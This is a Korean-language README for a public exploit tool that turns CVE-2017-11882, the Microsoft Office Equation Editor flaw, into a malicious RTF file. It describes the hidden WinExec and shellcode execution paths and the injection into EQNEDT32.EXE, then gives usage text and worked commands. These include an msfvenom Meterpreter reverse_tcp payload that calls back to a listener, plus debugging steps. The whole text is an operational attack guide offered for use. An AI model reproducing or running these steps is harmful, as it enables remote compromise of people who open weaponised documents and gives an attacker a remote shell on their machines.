
CVE-2017-11882 익스플로잇은 최대 17k 바이트 이상의 긴 명령/코드를 허용합니다.
CVE-2017-11882 익스플로잇은 최대 17k 바이트가 넘는 명령/코드를 허용합니다.
원격 명령 실행을 위해 이 익스플로잇은 SW_HIDE로 WinExec를 호출하고 WinExec가 반환된 후 ExitProcess를 호출합니다.
원격 코드 실행을 위해 이 익스플로잇은 그냥 코드로 jmp합니다.
객체 구조에 대한 참조를 찾을 수 없어서... 임의 길이의 코드 실행을 위해 파일 길이를 변경할 수 없습니다..:(
하지만 17k 바이트면 정말 충분하다고 생각합니다. Python 스크립트가 필요한 페이로드 크기를 감지하여 올바른 페이로드 템플릿을 선택합니다.
주의: 다른 프로세스로 마이그레이션하지 않으면 RCE로 인해 winword 프로세스가 멈춥니다!
현재 이 익스플로잇은 -i 플래그를 지정하면 셸코드를 새 EQNEDT32.EXE 프로세스에 주입합니다. 이 작업은 AV가 의심할 수 있지만 워드 프로세스가 멈추지는 않습니다.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
예제:
원격 명령 실행의 경우
CVE-2017-11882.py -c cmd.exe -o test.rtf
원격 코드 실행의 경우
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE에서 디버거 값을 디버거 경로로 설정합니다.
익스플로잇을 빌드하고 실행합니다.
0x41165f에 중단점을 설정합니다.
이 중단점은 두 번 적중되며, 두 번째에는 이 함수가 반환된 후 페이로드가 실행됩니다.